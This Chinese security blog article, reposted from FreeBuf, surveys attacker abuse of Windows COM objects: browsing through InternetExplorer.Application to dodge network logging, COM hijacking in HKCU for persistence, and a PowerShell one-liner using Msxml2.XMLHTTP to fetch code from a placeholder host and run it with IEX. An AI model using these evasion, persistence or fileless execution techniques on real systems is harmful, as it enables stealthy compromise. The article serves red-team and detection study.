前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >TOD赤橙黄绿青蓝紫队系列:COM之恶

TOD赤橙黄绿青蓝紫队系列:COM之恶

作者头像
FB客服
发布2019-07-22 16:23:29
6080
发布2019-07-22 16:23:29
举报
文章被收录于专栏:FreeBufFreeBuf

0x00 前言

渗透测试人员、红队以及恶意软件都在攻击中使用COM对象,遂参考多方资料对COM的恶意应用作一个小总结。

“微软组件对象模型(Component Object Model,COM)是平台无关、分布式、面向对象的一种系统,可以用来创建可交互的二进制软件组件”。COM是微软OLE(复合文档)、ActiveX(互联网支持组件)以及其他组件的技术基础。

每个COM对象都对应于唯一的二进制标识符,这些全局唯一标识符为128比特(16字节),通常被称为GUID。当GUID用来标识某个COM对象时,就成为CLSID(类标识符)。某些CLSID还包含可读的文本,即ProgID

0x01 COM 用于恶意软件中访问网络

APT29曾使用InternetExplorer.Application COM Object 来访问 URL 和获取图像

COM可用于打开Internet Explorer来访问网络。对于恶意工具开发者有如下好处:

1. HTTP通信由用户的iexplore.exe进程执行,而不是由恶意软件本身执行。

2. 没有使用socket等常见网络函数。

如下代码为使用InternetExplorer.Application对象访问网络

代码语言:javascript
复制
if (SUCCEEDED(OleInitialize(NULL))){IWebBrowser2* pBrowser2;HRESULT hr;IDispatch* pHtmlDoc = NULL;CoCreateInstance(CLSID_InternetExplorer, NULL, CLSCTX_LOCAL_SERVER,IID_IWebBrowser2, (void**)&pBrowser2);if (pBrowser2){VARIANT vEmpty;VariantInit(&vEmpty);BSTR bstrURL = SysAllocString(L”http://www. baidu. com”);HRESULT hr = pBrowser2->Navigate(bstrURL, &vEmpty, &vEmpty,&vEmpty, &vEmpty);if (SUCCEEDED(hr)){hr = pBrowser2->get_Document(&pHtmlDoc);}else{pBrowser2->Quit();}SysFreeString(bstrURL);pBrowser2->Release();}OleUninitialize();}

逆向分析时:

根据CoCreateInstance找到clsid,

通过clsid可以看到progid为IE:

0x02 COM 用于一定程度隐藏网络行为日志

通过InternetExplorer.Application对象访问网络

使用如下的powershell命令访问http网络:

代码语言:javascript
复制
$ieObject= New-Object -ComObject 'InternetExplorer.Application'$ieObject.Visible= $true$ieObject.Navigate('http://www.baidu.com')

通过对sysmon日志分析可以发现:

有powershell启动日志,有IE启动日志,但是IE的启动日志与powershell无关:

使用如下的powershell命令直接访问网络下载文件

代码语言:javascript
复制
$client = new-object System.Net.WebClient$client.DownString('1.1.1.1/a')
代码语言:javascript
复制
则通过sysmon日志可以看到ID 3 事件记录了powershell发生了可疑网络行为:

0x03 COM hijack 用于防御逃逸和持久化

ATT&CK模型中T1122项目对此有详细描述

APT28曾使用此技术。

HKCR key是HKCU和HKLM的虚拟表示。其中主机全局设置(适用于所有用户)存储在HKLM中,单个用户的设置存储在HKCR中。

当从HKCR读取key值时,首先从HKCU\Software\Classes\clsid读取key值,如果不存在,则从HKLM读取key值.同时中低权限进程无法修改HKLM,但可以修改HKCU.因此所谓COM hijack就是修改HKCU中的xxxx\InprocServer32中的值。公开报告中发现的恶意样本劫持过的COM

代码语言:javascript
复制
{BCDE0395-E52F-467C-8E3D-C4579291692E}, MMDeviceEnumerator.{d9144dcd-e998-4eca-ab6a-dcd83ccba16d}\InprocServer32EhStorShell.dll{08244ee6-92f0-47f2-9fc9-929baa2e7235}\InprocServer32 ntshrui.dll.{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}: CAccPropServicesClass.

尝试修改了下对应注册表进行 com hijack, 在测试时,某安全工具无告警。

0x04 无文件下载及执行

F5078F35-C551-11D3-89B9-0000F81FE221}这个COM对象(Msxml2.XMLHTTP.3.0),可以用来下载任意代码并执行,无需将payload写入磁盘,也不会触发基于System.Net.WebClient的常用检测规。

使用如下命令:

代码语言:javascript
复制
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "http://xxxx/payload", $False); $o.Send(); IEX $o.responseText;

在测试时,某安全工具无告警:

Sysmon日志对powershell的网络行为有记录,但对执行内容无记录:

参考文章

https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects-part-two.html https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html https://attack.mitre.org/wiki/Technique/T1122

*本文作者:kczwa1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-07-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 前言
  • 0x01 COM 用于恶意软件中访问网络
  • 0x02 COM 用于一定程度隐藏网络行为日志
    • 通过InternetExplorer.Application对象访问网络
      • 使用如下的powershell命令直接访问网络下载文件
      • 0x03 COM hijack 用于防御逃逸和持久化
        • ATT&CK模型中T1122项目对此有详细描述
        • 0x04 无文件下载及执行
        • 参考文章
        相关产品与服务
        日志服务
        日志服务(Cloud Log Service,CLS)是腾讯云提供的一站式日志服务平台,提供了从日志采集、日志存储到日志检索,图表分析、监控告警、日志投递等多项服务,协助用户通过日志来解决业务运维、服务监控、日志审计等场景问题。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档